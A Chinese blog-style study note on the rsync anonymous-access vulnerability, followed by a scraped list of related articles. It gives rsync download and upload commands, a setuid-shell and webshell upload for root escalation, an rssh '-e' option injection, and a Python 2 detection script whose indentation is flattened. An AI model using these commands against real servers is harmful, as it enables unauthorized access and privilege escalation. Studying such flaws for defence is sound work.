前言



前两天总结了互联网或者说IT公司内网常见的漏洞,然后决定针对还没学习过不了解的漏洞进行学习了解,所以准备一一针对来研习,今天是第一篇,立一个Flag,争取今年搞定,为啥说的这么艰难,因为平时工作忙,不一定每周都有时间研究,说一下,常见的WEB类漏洞,弱口令漏洞就不在赘述了,不算在此次学习之列

Rsync简介



什么是Rsync


Rsync(remote synchronize)是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。

什么是Rsync的匿名访问


匿名访问很简单,不需要用户名,不需要身份验证的所有信息(包括各种口令、公私钥、生物学特征等等),简而言之就是一句话,没有任何访问控制,直接可以访问



一般危害


下载:#rsync -avz a.b.c.d::path/file path/filiname
上传:#rsync -avz path/filename a.b.c.d::path/file

提权操作


#chmod a+s shell
#rsync -avz shell a.b.c.d::path/file
*查看shell权限不变,运行后提权到root,也可以尝试上传webshell*

rssh


此外rssh-2.3.3-3没有正确过滤-e选项,可能导致问题。

#rsync -e./script.sh  a.b.c.d::/tmp--server ./

漏洞验证


  • Metaspolit的auxiliary/scanner/rsync/modules_list
  • python脚本
# -*- coding:utf-8 -*-
"""
Rsync匿名访问漏洞(未授权访问漏洞)验证工具
""" #引入依赖的包和库文件
import os
import sys
import socket
import logging #全局配置设置
logging.basicConfig(level=logging.INFO,format="%(message)s")
socket.setdefaulttimeout(3) #全局变量
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #全局函数:
def str2Binary(content):
"""将文本流转换成二进制流"""
return content.replace(' ','').replace('\n','').decode('hex') def rsyncCheck(ip,port):
"""执行端口预检查"""
global client
try:
client.connect((ip,port))
except Exception,reason:
logging.error("[-] 访问失败:%s"%reason)
return False
helloString = "405253594e43443a2033312e300a"
try:
client.send(str2Binary(helloString))
hellodata = client.recv(1024)
except Exception,reason:
logging.error("[-] 通信失败:%s"%reason)
return False
if hellodata.find("@RSYNCD") >= 0:
try:
client.send(str2Binary("0a"))
except Exception,reason:
logging.error("[-] 访问失败:%s"%reason)
return False
while True:
try:
data = client.recv(1024)
except Exception,reason:
logging.error("[-] 通信失败:%s"%reason)
if data == "":
break
else:
if str(data).find("@RSYNCD: EXIT") >= 0:
logging.info("[*] 发现漏洞!")
return True
return False if __name__ == "__main__":
ip = sys.argv[1]
try:
port = sys.argv[2]
except Exception,reason:
port = 873
logging.error("[-] 端口未输入,按照873默认端口进行")
try:
port = int(port)
except Exception,reason:
logging.error("[-] 端口输入错误,按照873默认端口进行")
port = 873
if not rsyncCheck(ip,port):
logging.info("[+] 测试安全!")

Rsync匿名访问漏洞的更多相关文章

  1. rsync未授权访问漏洞利用

    漏洞描述:rsync是Linux系统下的数据镜像备份工具,使用快速增量备份工具Remote Sync可以远程同步,支持本地复制,或者与其他ssh,rsync主机同步.也就是说如果你可以连接目标IP的r ...

  2. 【Vulhub】Rsync未授权访问漏洞复现

    Rsync未授权访问 Rsync简介 rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限.时间.软硬链接等附加信息 ...

  3. Rsync未授权访问漏洞的利用和防御

    首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/r ...

  4. rsync未授权访问漏洞复现

    rsync未授权访问漏洞简介 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问r ...

  5. ftp 匿名访问设置

    为了让ftp可以匿名访问,需要设置/etc/vsftp.conf 的 anonymous_enable=YES. 当然仅仅是这样,还是不可以的,会出现错误: vsftpd: refusing to r ...

  6. yarn 用户导致的被挖矿 启用Kerberos认证功能,禁止匿名访问修改8088端口

    用户为dr.who,问下内部使用人员,都没有任务在跑: 结论: 恭喜你,你中毒了,攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程 ...

  7. ZooKeeper通过ACL修复未授权访问漏洞

    默认情况下ZooKeeper允许匿名访问,因此在安全漏洞扫描中暴漏未授权访问漏洞. 一.参考资料 <ZooKeeper 笔记(5) ACL(Access Control List)访问控制列表& ...

  8. mongodb未授权访问漏洞

    catalogue . mongodb安装 . 未授权访问漏洞 . 漏洞修复及加固 . 自动化检测点 1. mongodb安装 apt-get install mongodb 0x1: 创建数据库目录 ...

  9. 在JaveWeb项目中配置Spring 匿名访问时,匹配规则的变相实现/*

    实现/* /** * 根据当前的URL返回该url的角色集合. * 1.如果当前的URL在匿名访问的URL集合当中时,在当前的角色中添加匿名访问的角色(SysRole.ROLE_CONFIG_ANON ...

随机推荐

  1. Java命令学习系列(三)——Jmap

    Java命令学习系列(三)——Jmap 2015-05-16 分类:Java 阅读(479) 评论(0) Jmap jmap是JDK自带的工具软件,主要用于打印指定Java进程(或核心文件.远程调试服 ...

  2. Hibernate- 连接查询

    01.搭建开发环境 02.连接查询 package com.gordon.test; import java.util.Arrays; import java.util.List; import or ...

  3. Unix 系统下的 Nginx 1.4.x

    Unix 系统下的 Nginx 1.4.x 本文档包括使用 PHP-FPM 为 Nginx 1.4.x HTTP 服务器安装和配置 PHP 的说明和提示. 本指南假定您已经从源代码成功构建 Nginx ...

  4. ionic2 生命周期

    在 Ionic 2 的版本中生命周期命名的改变,以及各个事件的解释. 官方文档地址在 这里 . 事件名称 事件说明 ionViewLoaded 页面加载完毕触发.该事件发生在页面被创建成 DOM 的时 ...

  5. HBase二级索引方案总结

    转自:http://blog.sina.com.cn/s/blog_4a1f59bf01018apd.html 附hbase如何创建二级索引以及创建二级索引实例:http://www.aboutyun ...

  6. dm8127-内存分配

    在前天一直完车辆捕获算法和车牌识别算法之后,算法移植告一段落,五月份以来,总算有点欣慰了,可是cmos采集视频有点问题,主要是前端采集不是我接手,嵌入式部门的小宋和小李负责,据说是20多万没了图纸,防 ...

  7. Configurations of Vim/GVim of dsp

    Linux环境写到用户主目录下的.vimrc文件(没有则新建),Windows环境则为GVim安装目录下的_vimrc(没有则新建),内容如下: "分上下两屏 "sp " ...

  8. PHP json_decode 无法解析特殊问号字符

    在通过别人接口请求信息的时候,偶尔会遇到由于部分字符,如以下情况,则通过json_decode是会返回null的 但是这种情况通常不是由于整体编码的问题,因为在解析的时候就是以utf-8的编码解析的 ...

  9. Spring-profile设置

    开发环境和生产环境通常采用不同的数据库连接方式,开发环境可以采用侵入式,而生产环境中采用jndi连接池,所以要根据不同环境配置不同的bean,Spring中提供了profile来实现动态生成相应的be ...

  10. jQuery动态生成Bootstrap表格

    <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"% ...